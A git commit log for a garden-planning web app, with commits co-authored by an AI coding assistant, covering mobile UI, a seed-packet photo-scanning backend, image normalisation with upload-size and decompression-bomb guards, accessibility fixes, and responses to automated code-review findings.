Build image / build-and-push (push) Successful in 10s
Gadfly review (reusable) / review (pull_request) Successful in 10m32s
Adversarial Review (Gadfly) / review (pull_request) Successful in 10m33s
The top bar was desktop-shaped — logo + Gardens/Plants/Settings + name +
Sign out crammed in one row, wrapping "Sign out" to two lines at 390px,
with no thumb-reachable navigation.

Mobile-first now:
- Slim top bar: brand (left, still the way back to /gardens) + a compact
  account control (right).
- Section nav (Gardens/Plants/Settings) moves to a bottom tab bar in the
  thumb zone, safe-area-aware, ≥52px targets, shown only when signed in.
- Account/sign-out is a small top-right popover (Signed in as … / Sign
  out), reachable in 2 taps. Close-on-outside-tap via a backdrop button,
  no document listener.
- Desktop (md:+) keeps the inline top nav; the bottom bar is md:hidden.
- The editor is a full-screen context, so it owns the bottom of the
  screen — the app bottom bar hides on /gardens/$id (via useMatchRoute),
  leaving no competing bars there; the editor's own mode bar arrives in
  the mode-model issue.

Verified live at 390px and 1280px: bottom bar on the list, hidden in the
editor, account menu opens, desktop unchanged. tsc + vitest green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 00:51:23 -04:00
steveandClaude Opus 4.8 14af9502d4 Resume the last garden on this device (#97)
Build image / build-and-push (push) Successful in 17s
Gadfly review (reusable) / review (pull_request) Successful in 9m34s
Adversarial Review (Gadfly) / review (pull_request) Successful in 9m34s
`/` always dumped you on the gardens list; a phone user who lives in one
garden had to open the list and tap in every time. Now the device
remembers the garden it was last in and `/` resumes there.

- lib/lastGarden.ts: per-device localStorage (pansy:last-garden), same
  swallow-failures rationale as the seed tray / recents. getLastGardenId
  guards against a non-positive/garbage stored value.
- The `/` route redirects to the stored garden when present, else /gardens.
- The editor records the garden on successful load, and — if it 404s
  (deleted or access revoked) — forgets it (only if it's the stored one,
  so a bad direct link can't wipe a good resume target) and bounces to the
  list, so a stale id can't trap the user on an error screen. Transient
  errors still show the retryable message.
- ApiError.isNotFound getter (mirrors isConflict/isUnauthorized).

Verified live at 390px: resume into the last garden; a stale id bounces to
/gardens and clears itself. tsc + vitest (incl. new lastGarden test) green.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 00:44:58 -04:00
steveandClaude Opus 4.8 283010dccb docs: fix DESIGN fill-mode bullet mangled by the #94/#95 merge
Build image / build-and-push (push) Successful in 13s
The two PRs' DESIGN edits auto-merged into a self-contradictory run-on
("only the radius->spacing relationship differs" next to "BOTH the plop
radius AND the edge inset differ"). Drop the stale clause; the edgeInset
sentence is the accurate one.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 00:23:46 -04:00
steve 3685308d10 Merge pull request 'Fill mode: a "grid" layout that plants individual plants in rows' (#95) from feat/fill-mode into main
Build image / build-and-push (push) Successful in 6s
2026-07-22 04:22:46 +00:00
steve afa9288b4b Merge pull request 'Seed-packet capture: vision model, extraction, catalog match, create (backend)' (#94) from feat/seed-packet-backend into main
Build image / build-and-push (push) Successful in 7s
2026-07-22 04:22:27 +00:00
steveandClaude Opus 4.8 c80cf15bf1 Address fill-mode review: grid edge inset + drop dead coverage append
Build image / build-and-push (push) Successful in 18s
Gadfly findings on #95:

- Correctness (3 models): the shared inset formula radius-spacing/2
  collapses to 0 in grid mode (radius = spacing/2), so grid's outer row
  planted flush on / overhanging the bed edge instead of the half-spacing
  in that the rule wants. The inset genuinely differs by layout — a grid
  plant sits AT the plop centre (inset spacing/2), a clump's plants reach
  its rim (inset radius-spacing/2, overhanging by a half). Split it into a
  new edgeInset(radius, spacing, layout); hexCenters now takes a
  precomputed inset and is pure geometry (no spacing/layout knowledge).
  Regression guard: grid plants land at ±25 on a 60cm bed, not ±30.

- Performance (2 findings): the in-loop `existing = append(existing, *p)`
  was dead — every plop in one fill shares a radius and sits on a distinct
  lattice point, and a plop is "covered" only when wholly inside another,
  impossible between equal-radius circles at different centres. Removing it
  stops the coveredByExisting scan growing during the fill (an empty-bed
  grid fill's check was needlessly quadratic in the plop count).

- Docs: FillRegion/fillLoaded/hexCenters comments and the DESIGN.md bullets
  updated for plopRadiusFor/edgeInset (were still citing defaultPlopRadius
  and "written out in hexCenters").

- Test hygiene: split the grid + bad-layout cases out of TestFillAndClearAPI
  into TestFillLayoutAPI (one concern per test).

The enum-tag finding is a non-issue: majordomo's DefineTool derives its arg
schema from the same struct-tag reflection as Generate (proven by the vision
SeedPacket enum), and the service validates mode regardless.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 00:21:47 -04:00
steveandClaude Opus 4.8 6a4fd40bc3 Address seed-packet review: 413 mapping, deadline, rollback, dedup
Build image / build-and-push (push) Successful in 6s
Gadfly findings on #94, the real ones:

- scanSeedPacket extends only the READ deadline; a slow upload + a live
  vision call runs past the server's absolute 30s WriteTimeout and the
  successful response is silently dropped (the #78 failure mode). Extend
  the write deadline too (scanWriteTimeout).
- An oversized upload tripping MaxBytesReader was mapped to 400; it's 413.
  Detect *http.MaxBytesError and report IMAGE_TOO_LARGE.
- Split imagenorm error mapping: ErrTooLarge->413, ErrUnsupported->400,
  genuine read/encode faults (and a failed file.Open)->500, not 400.
- CreateFromPacket discarded the plant it created when the lot then
  failed, contradicting its own doc. Roll the new plant back instead so
  the confirm is all-or-nothing (a fresh plant has no lots/plantings, so
  the delete is safe; log-and-continue on cleanup failure).
- Dedup: packetLotRequest and seedLotCreateRequest shared every lot
  field. Extract a seedLotFields base both use. validCategory now reuses
  plantCategories. EffectiveConfig resolves agent+vision from one
  settings-row read instead of two.
- capabilities swallowed an EffectiveVision error silently; log it.
- vision test hand-copied Extract's body (drift risk). Split generate()
  out of Extract so the hermetic test drives the real request builder.

Tests: rollback-on-lot-failure (service), oversized->413 (api).

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 00:13:42 -04:00
steveandClaude Opus 4.8 7c1faa1515 Fill mode: a "grid" layout that plants individual plants in rows (#77)
Build image / build-and-push (push) Successful in 6s
Gadfly review (reusable) / review (pull_request) Successful in 12m51s
Adversarial Review (Gadfly) / review (pull_request) Successful in 12m51s
Steve chose option 3: keep clumps as the default primitive, add a grid/rows
fill mode, so sketching and planning are different operations with different
outputs rather than one model forced to be both.

A plop is a CLUMP, not a plant — great for "a few plops of garlic in a corner",
useless for drawing a plantable 8-rows-of-garlic bed (that came out as ~15
blobs, #77). FillLayout selects what a fill packs:
- clump (default, unchanged): radius 1.5×spacing, ~7 plants per plop.
- grid: radius spacing/2, pitch = spacing, ONE plant per plop — rows you could
  actually plant from.

The geometry is the SAME hexCenters lattice and the SAME #75 half-spacing edge
rule; only the radius→spacing relationship differs (plopRadiusFor). Grid keeps
no 15cm floor — its whole point is true spacing — while clump keeps it so a
tiny-spacing plant doesn't make invisible clumps.

Threaded through FillRegion/FillNamedRegion (empty layout = clump, so existing
callers are unchanged; unknown layout = ErrInvalidInput), the REST /fill
endpoint (`layout`), and the agent's fill_region tool (`mode`, enum clump|grid),
so "plant the bed in rows" works.

Tests: grid produces many more, single-plant plops than clump on the same bed
(radius spacing/2, derived count 1); unknown layout is refused at both the
service and the API. maxFillPlops still caps a grid fill of a huge bed.

No frontend fill affordance exists yet (fill is agent-only in the UI; the fill
UI was deferred in #82), so the mode toggle rides along when that's built —
noted. Docs: DESIGN placement-model decision.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 00:01:27 -04:00
steve 1e2b763566 Rough edges: mobile 100dvh, session-expiry in chat, sticky error toasts, journal date filter (#93)
Build image / build-and-push (push) Successful in 11s
Part of #85. 100vh→100dvh on both full-height pages (editor + public), a 401
during chat now redirects to /login instead of mislabelling a dead session as
"assistant broken", error toasts persist (capped at 4) with a close button, and
the journal's built-but-unreachable date filter gets a UI. Gadfly round handled
(public-page 100dvh, toast cap, shared date-input class). Larger deferred items
(revision retention, agent toolbox gaps) noted for their own issues.
2026-07-22 03:54:02 +00:00
steveandClaude Opus 4.8 757ac7394d Address Gadfly findings on #85
Build image / build-and-push (push) Successful in 16s
- PublicGardenPage had the same 100vh mobile bug I fixed in the editor — 100dvh
  there too, so the fix is consistent across both full-height pages.
- Cap the toast stack at 4 (drop oldest). Now that error toasts don't auto-
  dismiss, a burst of failures could otherwise grow the stack unbounded and push
  the newest — the one that just happened — off-screen.
- Hoist the From/To date-input styling to a shared dateInputClass const so the
  two don't drift.

Not taken: reusing safeRedirectPath for the 401 redirect (it validates an
incoming redirect param, it doesn't build the outgoing one — the two uses don't
overlap), and refactoring the three-branch filter spread (it's clear at three
fields; a helper earns its keep when there are more).

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 23:53:18 -04:00
steveandClaude Opus 4.8 156b3fd14c Seed-packet capture: vision model, extraction, catalog match, create (backend) (#81)
Build image / build-and-push (push) Successful in 7s
Gadfly review (reusable) / review (pull_request) Successful in 9m44s
Adversarial Review (Gadfly) / review (pull_request) Successful in 9m44s
Photograph a seed packet → it fills in the plant and the purchase. This is the
backend; the scan UI is a follow-up PR.

Vision model config (mirrors the agent model from #79):
- Migration 0011 adds instance_settings.vision_model; PANSY_VISION_MODEL is the
  env default. Precedence Settings → env → empty; the KEY stays in the env.
- EffectiveVision resolves it; /capabilities advertises "vision" only when a
  model + key are configured, so the UI offers the scan button only when it works.

Extraction is one-shot, NOT an agent loop (internal/vision):
- majordomo.Generate[SeedPacket] derives a JSON schema from the struct tags and
  hands the image to the vision model; it can't call a tool, so it can't touch
  the garden — it only reads a picture and returns data. Numeric fields are
  pointers, so a field the packet doesn't print comes back nil, not a made-up 0.
- Hermetic test: majordomo's fake provider returns canned packet JSON and
  Generate unmarshals it, image + derived schema included. No live model.

The image is normalized to JPEG at the upload boundary (imagenorm from #80),
which is where an iPhone HEIC becomes readable — majordomo's media path can't
decode HEIC. imagenorm now links into the binary (~7 MB, the cost #80 deferred).

The hard part is catalog matching, not OCR (internal/service/seed_packet.go):
- A wrong auto-match splits a variety's seed-lot history across duplicate rows,
  so the service NEVER auto-creates. matchPlants surfaces RANKED candidates
  (exact name → variety-in-name → same species, conservative and name-based),
  the user confirms, and CreateFromPacket makes the plant (new or existing) + the
  lot. Exactly one of plantId/newPlant, refused otherwise.
- Plants/lots aren't in the undo history (catalog/inventory), so no change set.
- The extractor is injectable (service.WithPacketExtractor) so ExtractSeedPacket
  and the /scan endpoint test end to end against a fake, no live model.

Endpoints: POST /seed-lots/scan (multipart image → proposal, reads only; extends
the read deadline for a slow phone upload, caps the body, maps too-large/unreadable
to clear statuses) and POST /seed-lots/from-packet (confirmed proposal → 201).

Docs: README (PANSY_VISION_MODEL), DESIGN (routes + the decision and why the
model can't touch the garden).

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 23:50:50 -04:00
steve e3d8e01e5b Make the canvas keyboard-reachable + trap focus in dialogs (#92)
Build image / build-and-push (push) Successful in 6s
Closes #84 (scoped first slice). Objects are focusable role=button with an
aria-label and Enter/Space selection — which makes the existing arrow-key nudge
reachable by keyboard for the first time — with a :focus-visible ring. The
<svg> gets role=application + label + title. Modal traps Tab (robustly: pulls
back focus fallen to <body> when a control is removed/disabled) and restores
focus to the opener if it's still in the DOM. Verified live with real keyboard.
Gadfly round addressed (canonical kind label, aria-current, trap robustness).
2026-07-22 03:34:07 +00:00
steveandClaude Opus 4.8 4b348dcbc0 Address Gadfly findings on #84
Build image / build-and-push (push) Successful in 10s
- Object aria-label uses kindDef().label (the canonical "In-ground") instead of
  an ad-hoc kind.replace() that produced "in ground" and diverged from the UI.
  4+ models flagged this.
- aria-current, not aria-pressed, for the selected object — selection isn't a
  toggle, which is what aria-pressed means; aria-current marks the active item.
- Modal focus trap made robust: if focus is NOT inside the dialog (fell to
  <body> because the focused control was removed — ShareGardenModal's
  remove-share button — or disabled while busy, or externally stolen), Tab now
  pulls it back in instead of escaping. The previous branches only handled
  focus being exactly at a known boundary.
- Focus restore checks opener.isConnected before calling focus(): the delete/
  clear flows this targets often remove the element that opened the dialog, and
  a disconnected node's focus() silently no-ops.
- Hoisted the focusable-element selector to a module constant, and excluded
  input[type="hidden"] (it matched input:not([disabled]) and, at a boundary,
  broke the wrap).

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 23:33:38 -04:00
steveandClaude Opus 4.8 d82db48e4b Rough edges: mobile 100dvh, session-expiry in chat, sticky error toasts, journal date filter (#85)
Build image / build-and-push (push) Successful in 30s
Gadfly review (reusable) / review (pull_request) Successful in 5m41s
Adversarial Review (Gadfly) / review (pull_request) Successful in 5m41s
The safe, self-contained wins from the #85 bundle:

- **Mobile viewport.** The editor used `100vh`, which on mobile Safari/Chrome is
  the LARGEST viewport (URL bar hidden), so with the bar visible the canvas
  bottom and Fit button were pushed under the browser chrome. `100dvh` fixes it.
- **Session expiry mid-chat.** A 401 during a chat turn was mapped to "the
  assistant is not available right now" — sending the user to debug a config
  problem that isn't there. Now it says the session expired and redirects to
  /login, preserving the path, like the rest of the app treats 401.
- **Error toasts persist.** Error toasts were the primary report that a mutation
  failed, yet auto-dismissed at 4s with no way to retrieve them — look away and
  it's gone. Errors now stay until dismissed; info toasts still time out; both
  get a close button.
- **Journal date filter.** `from`/`to` existed in the API and JournalFilter but
  had no UI, so "show me last spring" was unreachable. Added two date inputs
  (with a Clear) that feed the existing filter. No backend change.

Deferred to their own follow-ups (too big for this bundle, or need a decision):
revision-history retention/pruning, the agent toolbox's missing corrective tools,
plop-level journal entries from the UI, and the editor's max-width cap (a layout
call worth confirming rather than changing blind). The DESIGN.md API-listing
drift the issue mentioned was already fixed in #89.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 23:31:10 -04:00
steve 20bf7ee03d Image normalization: decode HEIC/webp/png/jpeg → JPEG (#91)
Build image / build-and-push (push) Successful in 7s
Closes #80. internal/imagenorm.Normalize decodes jpeg/png/heic/webp and
re-encodes JPEG, so the seed-packet path (and majordomo's vision) only ever see
a format they can read — HEIC (iPhone default) included. CGO stays off: heic via
libheif-as-WASM, webp pure Go. Hostile-upload bounds: byte cap, overflow-safe
pre-decode pixel/dimension guard, and a recover around the third-party decoders.
The ~5 MB only links in when #81 imports it. Gadfly's blocking round addressed
(panic recovery, the untested pixel-bomb guard now tested, sentinel errors,
lowered pixel cap); EXIF orientation deferred to the #81 handler.
2026-07-22 03:27:32 +00:00
steveandClaude Opus 4.8 cb594f34d8 Address Gadfly findings on #80
Build image / build-and-push (push) Successful in 6s
Security / correctness (multi-model):
- Wrap the decoders in a recover (decodeSafely): a malformed HEIC/WebP that
  panics libheif-via-WASM or x/image/webp now fails this one request as
  ErrUnsupported instead of taking the process down.
- Make the pixel-bomb guard overflow-safe: check each side against maxDimension
  BEFORE multiplying, so a header claiming ~2^32 on a side can't wrap
  int64(w)*int64(h) negative and slip past the pixel-count cap.
- Lower maxDecodePixels 100 MP → 50 MP (~200 MB peak), still above any current
  phone sensor, capping the amplification a small hostile header can force.
- Sentinel errors use errors.New, not fmt.Errorf without a verb.

The finding 5 models agreed on: the decompression-bomb guard was UNTESTED and a
stale comment implied otherwise. Added TestNormalizeRejectsPixelBomb, which
crafts a ~40-byte PNG (valid IHDR + CRC) claiming a huge canvas and asserts
ErrTooLarge from DecodeConfig alone, before any bitmap is allocated — covering
both the per-side and the area trip. Fixed the stale comment.

Error-handling / docs:
- format is now "" on ALL error paths (was populated on some, empty on others).
- Doc rewritten to state the actual error contract (read/encode I/O → wrapped,
  not a sentinel) and to stop referencing a non-existent TestNormalize / TODO.
- Guard io.LimitReader's +1 against an int64 overflow at an absurd MaxBytes.

Tests / provenance:
- Downscale test derives its numbers from DefaultMaxDim instead of hard-coding.
- Check the previously-ignored DecodeConfig error in the small-image case.
- testdata/README documents where sample.heic/webp came from.

Deferred to the #81 upload handler, documented in the Normalize doc: EXIF
orientation (best fixed and tested with a real oriented photo end-to-end) and
context cancellation (image.Decode isn't cancellable mid-decode; the caller
runs it under a timeout, and the size guards keep the work finite regardless).

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 23:27:00 -04:00
steveandClaude Opus 4.8 bfc5d9a871 Make the canvas keyboard-reachable + trap focus in dialogs (#84)
Build image / build-and-push (push) Successful in 9s
Gadfly review (reusable) / review (pull_request) Successful in 7m40s
Adversarial Review (Gadfly) / review (pull_request) Successful in 7m41s
The arrow-key nudge handler existed but only ever acted on a POINTER
selection, and nothing could select without a mouse — so the feature was
unusable by exactly the keyboard users it's for. This is the scoped first
slice: give the canvas a keyboard path in, and fix the Modal focus trap that
every destructive confirmation goes through.

Canvas:
- The <svg> gets role="application" + an aria-label describing the controls,
  and a <title> naming the garden — a screen reader now announces an
  interactive canvas rather than an empty graphic.
- Each object <g> is a focusable role="button" with an aria-label (name +
  kind) and aria-pressed reflecting selection. Enter/Space selects it — the
  step that was missing — which makes the existing arrow-key nudge reachable.
- A :focus-visible CSS rule draws a dashed accent ring on keyboard focus (and
  NOT on a mouse click, which is the point of :focus-visible). CSS rather than
  React state because onFocus on an SVG <g> is unreliable, and a CSS rule
  cleanly overrides the shape's inline stroke.

Modal (blast radius: DeleteGarden/ClearBed/DeletePlant/DeleteSeedLot/Share):
- Tab is trapped inside the dialog and wraps at the ends, instead of walking
  out into the page behind the backdrop.
- On close, focus returns to the element that opened the dialog rather than
  landing on <body>.

Verified live against the built binary with real keyboard input: Tab focuses
an object (SVG <g tabindex> genuinely takes focus), Enter flips aria-pressed
false→true, the focus-visible dash renders (computed stroke-dasharray "5px,
4px"), the dialog traps focus through 5 Tabs, and Escape closes it and
restores focus to the opener.

Follow-ups noted, not done here: object dimensions in the aria-label (needs the
garden's unit context this component doesn't hold), roving-tabindex between
plops inside a focused bed, and the EditorRail tablist semantics.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 23:20:47 -04:00
steveandClaude Opus 4.8 74f6b9a876 Image normalization package: decode HEIC/webp/png/jpeg → JPEG (#80)
Build image / build-and-push (push) Successful in 12s
Gadfly review (reusable) / review (pull_request) Successful in 13m10s
Adversarial Review (Gadfly) / review (pull_request) Successful in 13m10s
Prerequisite for seed-packet capture (#81). majordomo's media pipeline is
stdlib-based and cannot decode HEIC or webp — and HEIC is the iPhone camera
default, so the capture feature's very first input would fail on the device
that motivates it. Normalizing at the upload boundary means everything
downstream only ever sees JPEG.

internal/imagenorm.Normalize(reader, opts) decodes any of jpeg/png/heic/webp,
downscales to fit MaxDim (2048, ollama-cloud's limit) on the longest edge with
Catmull-Rom (sharp on the text a packet is mostly made of), and re-encodes JPEG.

CGO stays off: github.com/gen2brain/heic runs libheif as WASM via wazero (pure
Go), golang.org/x/image/webp is pure Go. Both register with image.Decode. The
~5 MB these add only links into the binary when #81 imports this package — it's
not pulled into cmd/pansy yet, so main is unchanged in size for now.

Guards against hostile uploads: input capped at MaxBytes (ErrTooLarge) before a
full read, and the decoded pixel count checked from DecodeConfig BEFORE the
bitmap is allocated, so a small file claiming a huge canvas (a decompression
bomb) is refused up front.

TestNormalizeAllFormats round-trips all four formats to a valid JPEG — its real
job is catching a dropped blank import, where the intuition-breaking failure is
that the COMMON format (png) breaks while the exotic one (heic) still works.
heic/webp fixtures live in testdata (Go has no encoder for them); the webp is a
known-good 16x16 from Python's stdlib test corpus, verified to decode.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 23:03:40 -04:00
steveandClaude Opus 4.8 84f249a774 CLAUDE.md: one Gadfly sweep, not a re-review loop
Build image / build-and-push (push) Successful in 18s
Remove the "comment @gadfly review before merge" guidance — it contradicted the
standing rule (take the initial review, fix, merge when green) and led to a
multi-round re-review loop that dragged a small PR out for an hour. Keep the
re-run mechanics as a parenthetical for the rare manual case. Steve's call,
2026-07-22.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 22:56:01 -04:00
steve a13acedd90 Admin-gated Settings: runtime model selection, is_admin enforced (#90)
Build image / build-and-push (push) Successful in 11s
Closes #79. Agent model + on/off move into an admin-only Settings section, and
is_admin is enforced for the first time. The live Runner is hot-swapped behind an
atomic.Pointer with routes always registered, so a settings change takes effect
with no restart; /capabilities reads the pointer. Secrets stay in the env, never
the DB. Precedence: Settings → env → default. Verified live: swap on/off/model,
bad spec → 400, race-clean. Gadfly blocking round addressed (dead code removed,
error-swallowing fixed, frontend 503 handling, holder dedup).
2026-07-22 02:53:55 +00:00
steve 15734c9195 REST fill/clear on objects; clear-bed becomes one change set (#89)
Build image / build-and-push (push) Successful in 10s
Closes #82. Bed filling now exists without an LLM configured, and clear-bed is
ONE change set instead of one per plop (a 40-plop bed no longer needs 40 undos).
POST /objects/:id/fill (region by compass name or rect, degenerate rect → 400)
and /clear, thin adapters over the service methods the agent already uses. Also
fixed DESIGN.md's API block, which had dropped the unauthenticated public route.
2026-07-22 02:53:27 +00:00
steve 48057fe1f3 API-level tests for the /seed-lots route group (#88)
Build image / build-and-push (push) Successful in 7s
Closes #83 (seed-lots half). The only handler file without a sibling API test —
the exact state the journal routes shipped unreachable in. Full CRUD through the
router, derived-remaining (incl. negative/over-planted), private-to-owner ACL
(404 not 403), and requireAuth. Verified the tests catch an unregistered route.
2026-07-22 02:53:13 +00:00
steveandClaude Opus 4.8 9ab454373b Address Gadfly findings on #90 (blocking round)
Build image / build-and-push (push) Successful in 17s
- Remove config.AgentConfig.Ready() — dead after the refactor (no non-test
  callers), and its doc comment ("route registration and capabilities gate on
  this") was now false. EffectiveAgent.Ready() carries the same logic and IS
  used, see below.
- agentHolder now uses eff.Ready() and eff.APIKey instead of an inline check and
  a redundant apiKey field it held separately. This makes EffectiveAgent.APIKey/
  Ready() production-used rather than test-only, drops the duplicated readiness
  check, and simplifies newAgentHolder's signature.
- settingsPayload no longer swallows an EffectiveAgent error into a misleading
  empty "effective" view (which would read as "nothing configured"). It returns
  the error; the handlers surface it as a 500. EffectiveAgent re-reads the row
  GetInstanceSettings just returned, so a failure there is a real DB fault.
- Frontend streamChat handles 503 (assistant disabled at runtime) distinctly
  from 404 (endpoint absent) — the backend returns 503 AGENT_DISABLED now, which
  the old code mislabelled.
- Fixed the api.go comment that still said a disabled request gets a 404 — it's
  a 503.
- updateSettings uses the shared parseNullable[bool] instead of a bespoke
  parseNullableBool (now removed).
- NewRunner drops its empty-spec guard; agentmodel.Resolve already owns that
  check, so one place decides what a valid spec is.
- rebuild-on-resolve-error now documents WHY it keeps the current Runner rather
  than tearing down a working assistant on a transient DB blip: the state is
  persisted, the next rebuild reconciles, and killing a live assistant on a read
  hiccup is worse than a brief stale window.

Not changed: the store's version-conflict fallback returning GetInstanceSettings'
error instead of ErrVersionConflict when that read also fails. That's the exact
pattern every other version-guarded update uses (gardens/objects/plants); making
only this one differ would be the inconsistency. A DB read failing immediately
after the guarded UPDATE on the same local SQLite file is a disk-fault edge case,
and surfacing that error is defensible.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 22:17:25 -04:00
steveandClaude Opus 4.8 33e048cea9 Address second round of Gadfly findings on #89
Build image / build-and-push (push) Successful in 16s
- Rename fillRequest → objectFillRequest to match the package's
  <resource><Action>Request convention (objectCreateRequest, gardenCreateRequest…).
- Add the missing anonymous-clear permission case (401), mirroring anonymous fill.
- Reword the makeFillPlant comment to stop referencing external branch state,
  which won't make sense once merged — just note the consolidation follow-up.
- clearObject: send no body (undefined) rather than an empty {}, and validate
  the {cleared} response with a zod schema instead of a raw type cast.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 22:12:00 -04:00
steveandClaude Opus 4.8 4c4abe23c6 Use objectPlantingsPath helper instead of inline URL (#88)
Build image / build-and-push (push) Successful in 6s
Gadfly: I was wrong that no plantings-path helper existed — objectPlantingsPath
is defined in plantings_test.go in the same package. Use it for the two
planting POSTs in the remaining test.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 22:06:57 -04:00
steve d26db3f6e3 Clear the SSE write deadline so an agent turn can outlive WriteTimeout (#87)
Build image / build-and-push (push) Successful in 11s
Closes #78. The 30s server WriteTimeout is an absolute deadline that was cutting
every agent turn over 30s mid-stream — and the keep-alive from #73 could never
work because it ticked into a connection destroyed at 30s. Refresh a per-write
deadline instead: unbounded stream, bounded writes, so a stuck reader still can't
pin the run goroutine. Two client-side regression tests, one per failure mode.

Gadfly: no material issues on final review.
2026-07-22 02:04:22 +00:00
steveandClaude Opus 4.8 95b9d611c6 Test the deadline is refreshed per-frame, not just extended (#87)
Build image / build-and-push (push) Successful in 10s
Gadfly re-review: the regression test proved the stream outlives the server
WriteTimeout, but its whole run was under a second — far below the 30s
sseWriteTimeout — so it could NOT tell a per-frame refresh from a deadline set
once at open. A revert to set-once would reintroduce the unbounded-block risk
the per-frame refresh exists to prevent, and sail through the test.

Make sseWriteTimeout a var (production never reassigns it) so a test can shrink
it, and split into two focused cases sharing a streamFrames helper:

- TestEventStreamOutlivesServerWriteTimeout — server WriteTimeout 300ms, frames
  straddling it, sseWriteTimeout left at 30s. Catches #78 (no deadline
  management → server cuts the stream). Huge margin, so CI slowness only makes
  it pass more surely — addresses the "timing margin tight" finding too.
- TestEventStreamRefreshesDeadlinePerFrame — sseWriteTimeout shrunk to 400ms,
  8 frames at a 100ms tick (800ms total, 4× margin per gap). A per-frame refresh
  delivers all 8; a set-once deadline expires mid-stream and cuts it.

Verified each fails against its own regression: removing the per-write refresh
gives 3/8 on the per-frame test (EOF at ~400ms); removing both deadline calls
gives 0/3 on the outlives test. Both pass on the real code, 3× under -count.

The "clear the deadline entirely" finding was already addressed by the previous
commit (per-frame refresh); this covers it against reintroduction.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 20:49:57 -04:00
steveandClaude Opus 4.8 5bdaf21828 Address Gadfly findings on #88
Build image / build-and-push (push) Successful in 13s
- Cover the plantId filter's out-of-range branch (0, -1), not just the
  non-numeric one — the handler rejects id < 1.
- Add the documented negative-remaining case: over-planting a lot (57 against
  50 bought) drives remaining to -7 through the HTTP surface. The number is a
  derived truth about what's committed, not a floor at zero, and that's the
  signal a gardener wants.
- Rename objID → oid in the remaining test to match the package convention
  (shares_test etc.).

Not taken: relocating createPlantAPI to plants_test.go — it's shared with #89's
branch and the move is cleanest once both land (consolidating with that branch's
makeFillPlant), noted on both PRs. The 409 "current" assertion style is
deliberate and reads clearly; matching journal_test.go's exact phrasing isn't
worth a divergence churn.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 20:39:43 -04:00
steveandClaude Opus 4.8 7a6f6963f9 Address Gadfly findings on #89
Build image / build-and-push (push) Successful in 23s
- Reject a degenerate (zero-area or inverted) fill rect with 400 instead of
  silently planting a single plop at the object centre. An empty `"rect": {}`
  decodes to all-zeros and is caught the same way. New fillRect.degenerate()
  and a table test covering {}, zero-width, zero-height, and inverted.
- Make the rect a named type (fillRect) rather than an anonymous inline struct,
  matching the rest of internal/api, and bind the pointer to a local in the
  handler so the deref is visibly guarded rather than reading req.Rect.MinX
  under an invariant from a line above.
- ops_test: drop gid from the unpack instead of the `_ = gid` shim.
- ClearBedModal: drop the `const n = plopCount` no-op alias.

Not taken: moving createPlantAPI/makeFillPlant to a shared helper — that
consolidation spans this branch and #88 and is cleanest once both land, as
noted in the PR. Reusing an objectPlantingsPath helper: there isn't one in this
package, and the one inline use doesn't earn a new helper on its own.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-21 20:36:45 -04:00
steveandClaude Opus 4.8 41c28592a2 Admin-gated Settings: runtime model selection, enforce is_admin (#79)
Gadfly review (reusable) / review (pull_request) Failing after 30s
Adversarial Review (Gadfly) / review (pull_request) Failing after 30s
Build image / build-and-push (push) Successful in 14s
Moves the agent model out of env-only config into an admin-editable Settings
section, and enforces is_admin for the first time — it has been in the schema
since migration 0001, plumbed to the client, and checked nowhere.

Backend:
- Migration 0010: instance_settings, a single-row (CHECK id=1) table — pansy's
  first instance-level state. Holds agent_model ('' = inherit env) and
  agent_enabled (NULL = inherit env), version-guarded like every mutable row.
